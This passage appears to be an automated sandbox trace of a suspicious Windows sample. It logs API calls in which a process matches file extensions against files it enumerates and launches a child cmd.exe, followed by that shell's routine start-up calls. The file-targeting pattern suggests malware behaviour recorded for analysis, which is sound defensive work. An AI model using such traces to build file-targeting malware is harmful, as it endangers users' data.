(lpString=".gif") returned 4 [0265.612] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".grs") returned 4 [0265.612] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".gz") returned 3 [0265.612] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0265.612] lstrlenW (lpString=".h") returned 2 [0265.612] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0265.612] lstrlenW (lpString=".hdr") returned 4 [0265.612] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".hpp") returned 4 [0265.612] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".hta") returned 4 [0265.612] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".htc") returned 4 [0265.612] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".htm") returned 4 [0265.612] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".html") returned 5 [0265.612] lstrcmpiW (lpString1=".html", lpString2="2.png") returned -1 [0265.612] lstrlenW (lpString=".icb") returned 4 [0265.612] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".ics") returned 4 [0265.613] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".iff") returned 4 [0265.613] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".inc") returned 4 [0265.613] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".indd") returned 5 [0265.613] lstrcmpiW (lpString1=".indd", lpString2="2.png") returned -1 [0265.613] lstrlenW (lpString=".ini") returned 4 [0265.613] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".iqy") returned 4 [0265.613] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".j2c") returned 4 [0265.613] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".j2k") returned 4 [0265.613] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".java") returned 5 [0265.613] lstrcmpiW (lpString1=".java", lpString2="2.png") returned -1 [0265.613] lstrlenW (lpString=".jp2") returned 4 [0265.613] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".jpc") returned 4 [0265.613] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".jpe") returned 4 [0265.613] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".jpeg") returned 5 [0265.613] lstrcmpiW (lpString1=".jpeg", lpString2="2.png") returned -1 [0265.613] lstrlenW (lpString=".jpf") returned 4 [0265.613] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".jpg") returned 4 [0265.613] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".jpx") returned 4 [0265.613] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".js") returned 3 [0265.613] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0265.613] lstrlenW (lpString=".jsf") returned 4 [0265.613] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0265.613] lstrlenW (lpString=".json") returned 5 [0265.613] lstrcmpiW (lpString1=".json", lpString2="2.png") returned -1 [0265.614] lstrlenW (lpString=".jsp") returned 4 [0265.614] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".kdc") returned 4 [0265.614] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".kmz") returned 4 [0265.614] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".kwm") returned 4 [0265.614] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".lasso") returned 6 [0265.614] lstrcmpiW (lpString1=".lasso", lpString2="-2.png") returned -1 [0265.614] lstrlenW (lpString=".lbi") returned 4 [0265.614] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".lgf") returned 4 [0265.614] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".lgp") returned 4 [0265.614] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".log") returned 4 [0265.614] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".m1v") returned 4 [0265.614] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".m4a") returned 4 [0265.614] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".m4v") returned 4 [0265.614] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".max") returned 4 [0265.614] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0265.614] lstrlenW (lpString=".md") returned 3 [0265.614] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0265.614] lstrlenW (lpString=".mda") returned 4 [0265.614] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0265.888] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.888] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12696, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 Thread: id = 102 os_tid = 0x708 Thread: id = 104 os_tid = 0x714 Thread: id = 105 os_tid = 0x718 Process: id = "12" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x63a7000" os_pid = "0x660" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x598" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8e9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x664 [0257.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efd50 | out: lpSystemTimeAsFileTime=0x1efd50*(dwLowDateTime=0x1464a860, dwHighDateTime=0x1d50336)) [0257.052] GetCurrentProcessId () returned 0x660 [0257.052] GetCurrentThreadId () returned 0x664 [0257.052] GetTickCount () returned 0x6cf4 [0257.052] QueryPerformanceCounter (in: lpPerformanceCount=0x1efd58 | out: lpPerformanceCount=0x1efd58*=7108330782) returned 1 [0257.052] GetModuleHandleW (lpModuleName=0x0) returned 0x49fe0000 [0257.052] __set_app_type (_Type=0x1) [0257.053] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a007810) returned 0x0 [0257.053] __getmainargs (in: _Argc=0x4a02a608, _Argv=0x4a02a618, _Env=0x4a02a610, _DoWildCard=0, _StartInfo=0x4a00e0f4 | out: _Argc=0x4a02a608, _Argv=0x4a02a618, _Env=0x4a02a610) returned 0 [0257.054] GetCurrentThreadId () returned 0x664 [0257.054] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x664) returned 0x3c [0257.054] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e00000 [0257.055] GetProcAddress (hModule=0x76e00000, lpProcName="SetThreadUILanguage") returned 0x76e16d40 [0257.055] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0257.055] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0257.055] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1efce8 | out: phkResult=0x1efce8*=0x0) returned 0x2 [0257.055] VirtualQuery (in: lpAddress=0x1efcd0, lpBuffer=0x1efc50, dwLength=0x30 | out: lpBuffer=0x1efc50*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0257.055] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1efc50, dwLength=0x30 | out: lpBuffer=0x1efc50*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0257.055] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1efc50, dwLength=0x30 | out: lpBuffer=0x1efc50*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0257.055] VirtualQuery (in: lpAddress=0xf4000, lpBuffer=0x1efc50, dwLength=0x30 | out: lpBuffer=0x1efc50*(BaseAddress=0xf4000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0257.055] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1efc50, dwLength=0x30 | out: lpBuffer=0x1efc50*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0257.055] GetConsoleOutputCP () returned 0x1b5 [0257.055] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a01bfe0 | out: lpCPInfo=0x4a01bfe0) returned 1 [0257.056] SetConsoleCtrlHandler (HandlerRoutine=0x4a003184, Add=1) returned 1 [0257.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.056] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0257.056] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.056] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a00e194 | out: lpMode=0x4a00e194) returned 0 [0257.056] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.056] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a00e198 | out: lpMode=0x4a00e198) returned 0 [0257.057] GetEnvironmentStringsW () returned 0x288aa0* [0257.057] GetProcessHeap () returned 0x270000 [0257.057] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xab4) returned 0x289560 [0257.057] FreeEnvironmentStringsW (penv=0x288aa0) returned 1 [0257.057] GetProcessHeap () returned 0x270000 [0257.057] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x8) returned 0x288920 [0257.057] GetEnvironmentStringsW () returned 0x288aa0* [0257.057] GetProcessHeap () returned 0x270000 [0257.057] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xab4) returned 0x28a020 [0257.057] FreeEnvironmentStringsW (penv=0x288aa0) returned 1 [0257.057] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eeba8 | out: phkResult=0x1eeba8*=0x44) returned 0x0 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x0, lpData=0x1eebc0*=0x18, lpcbData=0x1eeba4*=0x1000) returned 0x2 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x1, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x0, lpData=0x1eebc0*=0x1, lpcbData=0x1eeba4*=0x1000) returned 0x2 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x0, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x40, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x40, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x0, lpData=0x1eebc0*=0x40, lpcbData=0x1eeba4*=0x1000) returned 0x2 [0257.057] RegCloseKey (hKey=0x44) returned 0x0 [0257.057] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eeba8 | out: phkResult=0x1eeba8*=0x44) returned 0x0 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x0, lpData=0x1eebc0*=0x40, lpcbData=0x1eeba4*=0x1000) returned 0x2 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x1, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x0, lpData=0x1eebc0*=0x1, lpcbData=0x1eeba4*=0x1000) returned 0x2 [0257.057] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x0, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.058] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x9, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.058] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x4, lpData=0x1eebc0*=0x9, lpcbData=0x1eeba4*=0x4) returned 0x0 [0257.058] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eeba0, lpData=0x1eebc0, lpcbData=0x1eeba4*=0x1000 | out: lpType=0x1eeba0*=0x0, lpData=0x1eebc0*=0x9, lpcbData=0x1eeba4*=0x1000) returned 0x2 [0257.058] RegCloseKey (hKey=0x44) returned 0x0 [0257.058] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccec990 [0257.058] srand (_Seed=0x5ccec990) [0257.058] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0257.058] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0257.058] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a01c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0257.059] GetProcessHeap () returned 0x270000 [0257.059] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aae0 [0257.059] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0257.059] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0257.059] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0257.059] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0257.059] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0257.059] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0257.059] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0257.059] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0257.059] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0257.059] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0257.059] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0257.059] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0257.059] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0257.059] GetProcessHeap () returned 0x270000 [0257.059] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289560 | out: hHeap=0x270000) returned 1 [0257.059] GetEnvironmentStringsW () returned 0x288aa0* [0257.059] GetProcessHeap () returned 0x270000 [0257.059] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xacc) returned 0x28ad00 [0257.059] FreeEnvironmentStringsW (penv=0x288aa0) returned 1 [0257.059] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.059] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0257.059] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0257.059] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0257.060] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0257.060] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0257.060] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0257.060] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0257.060] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0257.060] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0257.060] GetProcessHeap () returned 0x270000 [0257.060] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x38) returned 0x2864d0 [0257.060] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef9b0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0257.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x1ef9b0, lpFilePart=0x1ef990 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1ef990*="system32") returned 0x13 [0257.060] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0257.060] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x1ef6c0 | out: lpFindFileData=0x1ef6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0x28b7e0 [0257.060] FindClose (in: hFindFile=0x28b7e0 | out: hFindFile=0x28b7e0) returned 1 [0257.060] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1ef6c0 | out: lpFindFileData=0x1ef6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8a1120d0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8a1120d0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0x28b7e0 [0257.060] FindClose (in: hFindFile=0x28b7e0 | out: hFindFile=0x28b7e0) returned 1 [0257.060] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0257.060] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0257.060] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0257.060] GetProcessHeap () returned 0x270000 [0257.060] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ad00 | out: hHeap=0x270000) returned 1 [0257.060] GetEnvironmentStringsW () returned 0x28ad00* [0257.060] GetProcessHeap () returned 0x270000 [0257.060] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xafc) returned 0x288aa0 [0257.060] FreeEnvironmentStringsW (penv=0x28ad00) returned 1 [0257.060] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a01c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0257.060] GetProcessHeap () returned 0x270000 [0257.060] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2864d0 | out: hHeap=0x270000) returned 1 [0257.060] GetProcessHeap () returned 0x270000 [0257.060] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4016) returned 0x28ad00 [0257.061] GetProcessHeap () returned 0x270000 [0257.061] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ad00 | out: hHeap=0x270000) returned 1 [0257.061] GetConsoleOutputCP () returned 0x1b5 [0257.061] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a01bfe0 | out: lpCPInfo=0x4a01bfe0) returned 1 [0257.061] GetUserDefaultLCID () returned 0x409 [0257.061] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a017b50, cchData=8 | out: lpLCData=":") returned 2 [0257.061] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1efac0, cchData=128 | out: lpLCData="0") returned 2 [0257.061] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1efac0, cchData=128 | out: lpLCData="0") returned 2 [0257.061] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1efac0, cchData=128 | out: lpLCData="1") returned 2 [0257.061] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a02a740, cchData=8 | out: lpLCData="/") returned 2 [0257.061] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a02a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a02a460, cchData=32 | out: lpLCData="Tue") returned 4 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a02a420, cchData=32 | out: lpLCData="Wed") returned 4 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a02a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a02a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a02a360, cchData=32 | out: lpLCData="Sat") returned 4 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a02a700, cchData=32 | out: lpLCData="Sun") returned 4 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a017b40, cchData=8 | out: lpLCData=".") returned 2 [0257.062] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a02a4e0, cchData=8 | out: lpLCData=",") returned 2 [0257.062] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0257.062] GetProcessHeap () returned 0x270000 [0257.062] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20c) returned 0x289620 [0257.062] GetConsoleTitleW (in: lpConsoleTitle=0x289620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.063] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.063] GetFileType (hFile=0xf4) returned 0x3 [0257.064] BrandingFormatString () returned 0x289840 [0257.067] GetVersion () returned 0x1db10106 [0257.067] _vsnwprintf (in: _Buffer=0x1efc30, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1efbc8 | out: _Buffer="6.1.7601") returned 8 [0257.067] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.067] GetFileType (hFile=0xf4) returned 0x3 [0257.067] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a026340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0257.068] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a026340, nSize=0x2000, Arguments=0x1efbd0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0257.068] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0257.068] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1efb58, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1efb58*=0x24, lpOverlapped=0x0) returned 1 [0257.068] _vsnwprintf (in: _Buffer=0x4a026340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1efbf8 | out: _Buffer="\r\n") returned 2 [0257.068] _get_osfhandle (_FileHandle=1) 